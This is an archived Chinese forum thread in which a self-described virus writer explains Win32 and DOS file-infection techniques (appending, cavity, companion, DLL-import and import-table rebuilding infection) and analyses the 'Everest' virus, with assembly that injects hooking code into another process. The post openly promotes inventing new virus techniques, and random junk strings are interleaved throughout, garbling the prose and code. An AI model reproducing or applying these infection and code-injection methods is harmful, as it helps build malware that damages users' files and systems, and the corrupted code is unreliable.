大余论坛's Archiver

池江湯皮 发表于 2008-2-22 15:40

电脑病毒感染技术分析

[table][tr][td][img]http://imgcache.qq.com/qzone_v4/b.gif[/img] B{p Azj }Ar
pEq7r9O8PMc0|%m
病毒感染技术可谓五花八门,我们这里只是对其做一个大概介绍,并对一些应用不多但比较有潜力的技术加以详细分析。在本文中我们将以Win32病毒为住,但也提到了一些DOS病毒技术,由于涉及面比较广,错误在所难免,请大家多多包含。 0h| U8ah#P!kX
  传统技术 m'BnFs4_
这里说的传统,指的是比较典型,应用比较多的感染方式,而不是普通意义上“老掉牙”的那种传统。一般传统的病毒感染技术分成下面几类:
+?%H&}cSH[#R?  1.后缀式感染
7yRotKY  这是DOS以及Windows下文件型病毒最常用的感染方式,也是原来非常流行的一种感染方式,相信很多研究病毒的朋友都是从这种技术起步的吧!
4c({?J&{ SM.w8X  这种感染方式是非常简单的,只要把病毒体缀在宿主文件最后,再修改程序入口,注意一下对齐,就行了。实际上这个方式也是最简单易行的,深得VXer喜爱,因为它简单,但是却非常适合对病毒进行复杂的加密变形! rX!ouU
 值得一提的是,过内的病毒爱好者和一些“汇编高手”,非常喜欢PE文件进行加节,其实个人认为这是不好的技术。因为就是操作复杂,而且不一定总是能成功,很可能没有把地方加一个Section。简单而有效的方法是把病毒体直接缀在最后一个节的后面,然后改最后节的相关属性,并注意一下Image和File的对齐就行了。 Y@`BaiEF^
 顺便提一下,Windows 98检查对齐不是很严格,Windows 2000就非常严格。
"T4n.zw*Rji  2.散落式感染
p2U!|`bj3y)S M;S 英文叫cavity,就是把病毒体切成小块分散插入到宿主的空隙中,病毒执行时再把他们组合起来。似乎人们从CIH才开始认识这种方式,事实上这种方式古以有之,一些DOS病毒就用这种方式,只是没有引起人们注意----人们通常只推崇引起轰动的东西。
"V?1u ukQ PE文件由于结构关系,天然就有很多空隙,适合一个小病毒存在,而DOS可执行文件则没有什么Section的感念,也没有什么天然空隙,似乎看起来不可能插入。其实不然,由于编译器的缘故,文件里很可能有一些用语于保存数据连续的0,这些空间只在运行时才有用,和程序的初始化没关系。所以,病毒可以统计这些连续的0。如发现这样的空间足够大,就可以把病毒块放在里面,运行时把病毒块摘出,然后重新把那块内存清零就可以了---这种技术DOS时代算是比较高级的技术,实现起来比较困难。我的第一个病毒,也是唯一一个DOS病毒,就是用这种方式。从这点就可以看出DOS病毒的魅力,在有限的资源下发觉无穷的乐趣,不像Windows,系统的资源多多,写病毒容易多了。
{ m9~7?j;hXoo  这种感染方式还有衍生。比如不利用宿主已有的空隙,而是在宿主代码里硬生生第挖洞填回去。这样的好处是可以把病毒分解成很小的碎片,这样就不容易被发现,缺点是实现有些复杂,效果未必利用已有空隙好。 *\8\it Q
 这种方式木马比较常用。就是病毒自身替代宿主文件,而把宿主作为数据存储在病毒体内。 5U.bY0jv
 这种方式有明显的不足,就是宿主增大太多,启动速度太慢。我们亲爱的Nimda把这种方式发扬光大了。
fk;D2Bq7m  伴侣式感染这种方式DOS下的病毒和Windows下的木马都常用。就是用病毒自身替代宿主,把宿主改个文件名,病毒启动后再启动宿主。
2ZT*[0` I  这个和捆绑式有相似之处,不足之处更是一样,而且还多了一个,就是病毒文件被Copy到别的机器以后,就没有了宿主问,无法执行正常功能了,这样就很容易别用户发现。所以,这种方式比较适合感染安装在"Promgram Files"里的一般不会被拷贝的应用程序,而不是感染普通独立的可执行文件。 E7Jk:y r lV:L v
 另类感染
M*s-no)EP!V'f  这里所所的另类,可能在很多人眼里是很普通的方法。但这些方法,并没有得到很广泛应用,所以称之为另类。 do0T^#JY/U
 1Dll链接式感染 ql }:b!r;M['~
 这个方法,好象前一阵子有蠕虫用到,CVC的兄弟VxKYE和我提到。当时我不在意,不过仔细想想,这也是一种不错的感染技术。
1j2`;K_ PS  具体实现很简单,就是把病毒作为一个Dll文件,然后在宿主体内加以一个导入此Dll的Import项。这样在宿主启动时,系统会自动装载病毒。 !k;SH8u:D"Yb
 这种方法的好处是明显的,就是宿主启动比较迅速,因为病毒和普通Dll没什么区别。而且如果用户敢删除病毒文件,那么被感染的文件就执行不了了。 7`/Z1CuM7L%w-GBK
 不足之处: Ao TW rj
1)不总能感染,不一定有地方如一个Import项。
?F_!i4E4?7`]5wi 2)这个问题更严重,其和伴侣式一样,一旦宿主被拷贝到别的机器,那么宿主就无法运行了。 %zBr w|WC
如果你要用到伴侣式,可以考虑考虑这个方式。
,q7X1wo7]1_0_YjG1y  2.支解式感染
;J RM,Bc;O yJ7y  听起来很吓人,实现起来也比较残忍——改掉PE文件结构,对其进行“重组”。
XQ~!U3\n8W lF  这个想法我最早实现在我的病毒Win32.Loicer(W32.Cervan)中,这是一个 不成功的病毒,bug非常非常多,但总算实现了这个想法。 &|k*HrP#NsY
 这个病毒的源码比较复杂,就不在这里分析了。感兴趣的读者可以去CVC论坛看源码,CVC第一期杂志里也收录了。
u9`"O_0u  CVC电子杂志可以通过地址[url]http://www.logincom.com/cvc_issue1.chm[/url]下载。 !Z9]$nEH1u
 这里我们只简单说一下这种感染技术的思路。 M9}HoxW
 我们先看一下一个程序从可执行文件成为一个进程的过程:Windows装载进程时,首先要把文件映射到内存,然后的工作就是装载文件Import表里导入的Dll,填充QPI地址,最后才能正式启动进程。当进程调用API时,它就会用一条call tttttt指令tttttt处并API入口,而是一条间接跳转指令,jmp[xxxx],此处xxxx地址出存放的就是系统填充的API。 /L(r*I#TvVi2e
 如果能在xxxx出填入病毒的入口地址,那么就可以完成感染,可惜的是系统会填充那里,我们无法控制。看起来像我说废话了,其实不然。换个角度想想,如果我们阻止系统填充,那么我们不就能占领高地了么?我们是无法阻止系统填充的,但是我们可以让系统填充到别处,也就是把Import表搬个地方。
5@|-m.`iO h"O  好了,整理一下思路,让我们看一下具体的感染步骤:
0s8dC^P8u7\ (1)创建一个新的Import表,里面可以因如病毒自己需要API,比如LoakLibrary. h3aqe;M n N9X
(2)将原Import表拷贝到病毒体内。 5o7W9}hr3dm
(3)修改PE头,使得Import Entry 指向新的Import表。 S+^)Mp4P0n7d%z%n
(4)修改原Import各API地址,使得当宿主调用API时,可以跳入病毒代码。这样也就自然而然地完成了非常好的EPO。
/@s _$z,d g!U  上面是感染文件所要做的工作,当病毒执行时,还要做额外的工作,就是装载宿主需要的所有Dll,并把API地址填充到宿主的Import表里。
\eg|Aw"K)o  从上面的感染过程可以看出,由于被感染的文件的原始Import表已经不复存在,所以基本无法恢复成原貌,这就是我们为什么说这种方式是无法恢复的。但无法恢复是相对的,PE结构无法恢复了,但宿主功能还完好无损。
.Do_0yEY  这个感染技术其实可以推广到加密技术,很容易就将Import表加密了(Loicer确实把宿主用到的API加密)。如果不用EPO技术,那么完全可以把宿主代码也进行加密。
:jC(V'O M\  这个方法只是把Import表进行了重组,其实更进一步的话,可以对真个PE文件进行重新组装,并可进行加密。这样将使病毒被清除的难度大大增加,而且也破坏了PE文件原有的结构,使恢复变得非常的困难。 +?)ab;W{Kf2z3s
 3.寄居蟹式感染/传播 $f:Ea-A.{Q
 这是我们CVC兄弟PKXP的一大发明,并应用在小病毒Everest中,是一种很懒的做法,但懒得有道理,懒得够水平。其实这种思想非常简单,就是自己不传播,而让其他病毒传播自己。这个病毒里面有几个有意思的地方,我们来具体分析一下。
/\8n I F't w T  @pushsz'Everest' ?}&uXp5y U
 ;压字符串 p9o4X:e(x|%Z'o
 push FALSE
QrT6E-TD  push NULL ]GogpV9|o
 call CreateMutex `*B^`$t;C
 call GetLastErro ;
-jea,SfG;O 避免运行多个实例
"C/W2s%P3WK)U  cmpeax , ^_'fN3aq
ERROR_ALREAKY_EXISTS;已经运行,结束 O~S@9nD'|W
jz ExitVirus -V7}Dm h?ILF
 上面是蠕虫的传统,建立互斥,避免多次运行。 "k9?$VY!\
 下面一条指令跳入初始化模块,主要获取系统路径,并提升权限,获取SE_NAME(SeDebugPrivilege)权限,并无特别之处,不再详述。 3Bd.RK*S-~P*s.`H
 初始化完成后,就开始我们的寄居蟹之旅,想办法找合适的贝壳。 t0Q0]g'Lu O
 这里的贝壳,就是在机器内活动的其他病毒进程(以下所说的病毒,是指其他病毒,而非Everest)
u}7|r@"u6o!n  找到特定的进程很简单,无非是枚举所有进程,然后把进程的文件名和病毒文件名比对,就可以了。由于Everest这部分代码不是PSAPI,其实ToolHelp API更好些),而且比较简单,这里就不分析代码了。
*ps0p6rB/I.t6H3PV  下面就是比较关键的地方了,对找到的病毒进行手术。
7A%?D vD2c,~M*_:bs  上面的代码,基本就是先结束病毒进程,再重新启动。这不是盲目的瞎折腾,而是要在重新启动时对病毒进行一些手术。手术开始了: IE7sF;_ VI
写入病毒进程的远程代码如下:
!c:C3_2UX jB-TDb+d RemoteCodeStart:
2\?rD|2@7vs#}/P movesi ,12345678h
6b'lk#E U+]\g _GetModuleFileNameA = dword ptr $-4 z:X2R2C#jIU&^3J
@pushsz'123' ;cbWriten 0`Lx+lD;@D$X r8G
pushPAGE_EXECUTE_READWRITE tP hUpk\9^H
push 6
;G9N n[,R4{4In$t J mov eax ,12345678h
0WBwF:Q_ _Virtualprotect= dword ptr $-4 F+j8H*HGp ]1sQb#X
calleax ;改虚拟内存属性,方便写入
3Z!^:[(j7J Nw}U1z 1O9g/\W-Wr GFX
@pushsz '123' ;cbWriten {6_g3F T;N{&V0q+M!\N
push 6 m:^W2]G s!`x"?&s
call RCSJump
0q7^y/cHcL push 12345678h ;这行代码是跳转代码
MZ_H&G(Faw@ _NewGetModuleFileNameA = dword ptr $-4
!H\6EX'E Z ret
c6d A9|%yB2u0M l4UD,[ RCSJump:
/N,T9b&rE,l [7]  pushesi !C.MCMd&_nZS
 push-l
f ?E/Kyih w@ d$u  moveax , 12345678h MaWe9hb#w'i\
_WriteProcessMemory - dword ptr $-4 o6RjL*Y3z([B-V{]/a._
 call eax ;写入跳转代码 7k"EC r/P[yZ2U
 ret 4
Idw RSx %qm%D c*wA N

)Z gX5x9X~)n NewGetModuleFileName:
x:UkV(dI w9MB  pushesi
u|!t5n9u(Z&e6I  pushedi Xac'@Q4f.w
 mov edi , [esp+16] -P8H*q E2a
 call_szWormPath #d}M7I0?$\8X7G
szWormPath
5_|+vySfV _szWormPath: ^:I;A,B k o5b*m }my
 popesi VhfWV(n^u3V @ a3Q
 xorecx , ecx .n7^*I Kf
RCSLoop;
'MP.G0fRGx2R]ut{  lodsb ^E)B1eJ3H
 rtosb ?'aH6J ]1I
 incecx ]_$E vx2m e
 or al,al
#KO]i6[9cB L0S8H  jnzRCSLoop OlY3{L!fe
 popedi c-z*s#UT"{M3{
 popesi s'Wh8~)`"|
 moveax , ecx AI`UP,R#?U ?"}5p
 ret12 KT {{v{.w Q
RemoteCodeEnd:
^ XL9e5j4H\ x
l,r3G.R7_!R7D  让我们回过头来对上面两段代码进行简单分析。
|(x,@|.N7Y(u9O%J  StartVirus模块其实就是以休眠状态创建病毒进程,然后向其插入远程代码,并启动之。有趣的是这里并没有使用远程线程,而是使用了QueueUserAPC。这个API非常有趣,它的作用是把插入的远程代码作为一个APC callback 进行排队,当进程出发某些状态时,这个回调会被调用。从休眠转入运行,就是这样的状态,所以远程代码在病毒执行前就执行了。关于QueueUserAPC,大家可以看看MSDN。这个API又一次体现了MS的风格,好用就行,不管安全与否。 -lW3RV4K(h!|
 RemoteCodeStart模块就是远程代码部分,它的作用很明朗,就是替换病毒进程的GetModuleFileName函数的头6个字节,换成pushxxxxxxx/ret,其中xxxxxx是新的GetModuleFileName地址。这样,当病毒调用GetModuleFileName时,就会掉到Everest埋伏的陷阱里,一个新的GetModuleFileName返回的是预先取得的Everest的文件名。 %FC8[-b R
 说到这里,这个寄居蟹思路已经比较明朗了:当病毒获取自身文件名时,结果获取自身文件名时,结果和的的是Everest了。 zOj5^wX~)G
 由上可以看出这是多么懒的做法,但懒得有道理,不用任何网络编程,旧可以通过网络传播。 5c;U8[Bl
 这是一种新的思路,而且还算比较不错的思路,但未必实用。试想想,有机个用户会同时中两个病毒(一个Everest,一个其他病毒)?写病毒的一个原则,就是不能完全依赖特定的东西,否则一旦依赖对象不存在了,病毒自身也就完蛋了,而Everest一旦离开其他病毒,它就无法传播了。 H)_P3n&KuPKY
 结束语
aH.M_U5}t4v  我之所以在这里提到这些未必实用(对于Everest更是先个甜枣,然后扇一个巴掌)的想法,就是想给大家一些启示,我们不能整天局限于什么添加新节之类的古老技术。要想在病毒方面有所突破,就要有创新,即使新想法未必实用。也总比墨守成规要好。只有思路开阔了,才会有更多的新技术被发现。 |4v%E\'CbeC6F
 和写普通软件一样,我们中国的病毒爱好者基本都是在追随国外的东西,少有自己的想法,这大概是一种“玩电脑,我们就不是不如外国人”的思想作怪。其实仔细看看上面的感染方法,有几个也是中国人发明的,那里就差了?只要肯思考,我们同样能有新的思想,新的技术,绝对不必老外差!
g:I_l!I)j+Xt [/td][/tr][/table]

wangliu1213 发表于 2008-2-22 15:50

沙发
`e$i1c-S8X :P :lol :lol :lol

池江湯皮 发表于 2008-2-22 15:58

到處坐沙發~~~~~~~~

whxgg 发表于 2008-3-20 10:19

:chaoxiao :chaoxiao :chaoxiao

页: [1]

Powered by Discuz! Archiver 6.1.0  © 2001-2007 Comsenz Inc.